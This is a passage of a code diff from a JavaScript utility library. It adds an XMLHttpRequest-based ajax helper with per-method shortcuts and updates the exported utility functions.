+ //有则设置,仅跳过空内容
1770
+ for (let k in config.headers) {
1771
+ config.headers.hasOwnProperty(k) && !isEmpty(config.headers[k]) && xhr.setRequestHeader(k, config.headers[k]);
1772
+ }
1773
+ config?.onBeforeSend?.(({ ...context, status: xhr.status, type: 'beforeSend' }));
1774
+ //发送请求,get和head不需要发送数据
1775
+ xhr.send(methodsWithoutBody.includes(method) ? null : (requestData || null));
1776
+ //open和send阶段已经是异步了,无法使用try+catch捕获错误
1777
+ });
1778
+ //绑定xhr和abort
1779
+ result.xhr = xhr;
1780
+ result.abort = () => xhr.abort();
1781
+ return result;
1782
+ };
1783
+ // Static Helper Methods
1784
+ //get、head、trace是不需要发送数据的,data将被转为url参数处理
1785
+ ['post', 'put', 'delete', 'patch', 'options', 'get', 'head', 'trace'].forEach(method => {
1786
+ ajax[method] = (url, data, options = { url: '' }) => ajax({ ...options, method, url, data });
1787
+ });
1788
+ ajax.all = (requests) => Promise.all(requests.map(ajax));
1789
+
1203
1790
  const utils = {
1204
1791
  //executeStr,
1205
1792
  getDataType,
@@ -1237,8 +1824,18 @@
1237
1824
  parseLLMStream,
1238
1825
  toKebabCase,
1239
1826
  trimEmptyLines,
1240
- escapeHtmlChars,
1241
1827
  decodeHtmlEntities,
1828
+ escapeCharsMaps,
1829
+ escapeRegexMaps,
1830
+ escapeHTML,
1831
+ toSingleLine,
1832
+ renderTpl,
1833
+ getBodyHTML,
1834
+ getUrlHash,
1835
+ buildUrl,
1836
+ ajax,
1837
+ capitalize,
1838
+ cleanQueryString,
1242
1839
  };
1243
1840
 
1244
1841
  return utils;